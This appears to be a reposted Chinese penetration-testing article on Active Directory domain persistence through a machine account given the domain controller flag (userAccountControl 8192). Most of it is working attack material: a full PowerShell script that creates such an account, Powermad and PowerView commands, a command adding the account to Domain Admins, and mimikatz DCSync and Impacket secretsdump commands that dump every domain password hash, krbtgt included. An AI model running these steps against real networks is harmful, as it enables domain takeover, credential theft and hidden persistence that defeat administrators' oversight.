Import-Module .\Powermad.ps1
# 设置机器账户的密码$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force# 通过 New-MachineAccount 函数创建一个机器账户New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose
Import-Module .\PowerView.ps1Get-NetComputer -Identity "PENTEST" -Properties name, primaryGroupID, userAccountControl
Import-Module .\PowerView.ps1Set-DomainObject -Identity "PENTEST$" -Set @{"userAccountControl" = 8192} -Verbose
python3 secretsdump.py pentest.com/PENTEST\$:[email protected] -just-dc
Function NewDomainController {<#.SYNOPSIS
This script will create a new domain controller account in the domain for the purpose of domain persistence..DESCRIPTION
In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit
field. Different flags represent different user information. The value of this attribute is the sum of all
flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000
and decimal value is 8192, which is used to indicate that the account is the machine account of the domain
controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set,
Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group.
So just change userAccountControl to grant domain controller privileges to normal domain member machines..LINK
https://whoamianony.top/domain-persistence-machine-accounts/.PARAMETER Domain
Specifies the domain name, if omitted, the domain name will be obtained automatically..PARAMETER DomainController
Specifies the FQDN of the domain controller..PARAMETER MachineAccount
Specifies the name of the machine account to be created..PARAMETER Password
Specifies the password of the machine account to be created..OUTPUTS
Output will be shown in the console.NOTES
Version: 0.1
Author: WHOAMI
Date: 01/18/2022.EXAMPLE
NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"
#>
param (
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$DomainController,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$MachineAccount,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$Password
)
function FormatStatus([string]$Flag, [string]$Message) {
If($Flag -eq "1") {
Write-Host "[+] " -ForegroundColor:Green -NoNewline
Write-Host $Message
}ElseIf($Flag -eq "0") {
Write-Host "[-] " -ForegroundColor:Red -NoNewline
Write-Host $Message
}
}
$null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
if($Password)
{
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
$PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR)
$PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"')
}
if(!$DomainController -or !$Domain)
{
try
{
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch
{
FormatStatus 0 "$($_.Exception.Message)"
throw
}
if(!$DomainController)
{
$DomainController = $CurrentDomain.PdcRoleOwner.Name
FormatStatus 1 "Get Domain Controller: $DomainController"
}
if(!$Domain)
{
$Domain = $CurrentDomain.Name
$Domain = $Domain.ToLower()
FormatStatus 1 "Get Domain Name: $Domain"
}
}
$_MachineAccount = $MachineAccount
if($MachineAccount.EndsWith('$'))
{
$SAMAccountName = $_MachineAccount
$_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1)
}
else
{
$SAMAccountName = $_MachineAccount + "$"
}
FormatStatus 1 "Get SAMAccountName: $SAMAccountName"
$DistinguishedName = "CN=$_MachineAccount,CN=Computers"
$DC_array = $Domain.Split(".")
ForEach($DC in $DC_array)
{
$DistinguishedName += ",DC=$DC"
}
FormatStatus 1 "Get DistinguishedName: $DistinguishedName"
FormatStatus 1 "Start creating a machine account $MachineAccount"
$identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
$connection.SessionOptions.Sealing = $true
$connection.SessionOptions.Signing = $true
$connection.Bind()
$request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName"
$request.DistinguishedName = $DistinguishedName
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName"
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null
FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192"
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null
FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain"
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null
FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain"
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null
FormatStatus 1 "Set the password for the $MachineAccount account to $Password"
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null
try
{
$connection.SendRequest($request) > $null
FormatStatus 1 "Create machine account $MachineAccount successfully"
}
catch
{
FormatStatus 0 "$($_.Exception.Message)"
if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
{
FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit"
}
}}
Import-Module .\NewDomainController.ps1NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"
net group "Domain Admins" PENTEST$ /add /domain
python3 secretsdump.py purple.lab/Pentestlab\$:[email protected] -just-dc-user krbtgt
添加机器用户DCBAK(UserAccountControl 为 8192),密码为123456(密码写死的,需要修改密码,可自行修改,重新编译)
工具地址:https://github.com/chibd2000/hyscan
添加机器用户命令:
hyscan.exe --scantype ldapscan --ldaptype addComputerUac8192 --domainName hengge.com --pcname DCBACK --dc 192.168.4.11
可以看到当UserAccountControl 为 8192的时候,此时隶属于domain controller
组中
查看域控制器成员,发现机器用户DCBAK已在列表中
net group "domain controllers" /domain
在一台WIN-SKE-PC普通域机器中进行维权操作,这里通过命令runas进行远程CMD命令执行。
runas /user:hengge.com\dcback /netonly cmd
在机器用户DCBAK的网络令牌下进行DCYNC的DUMP出域的hash
mimikatz.exe "lsadump::dcsync /domain:attack.local /all /csv" exit
impacket serectdump进行DCYNC的DUMP出域的hash
python secretsdump.py hengge.com/[email protected] -hashes 32ed87bdb5fdc5e9cba88547376818d4:32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm
转自:渗透测试研究中心
好文推荐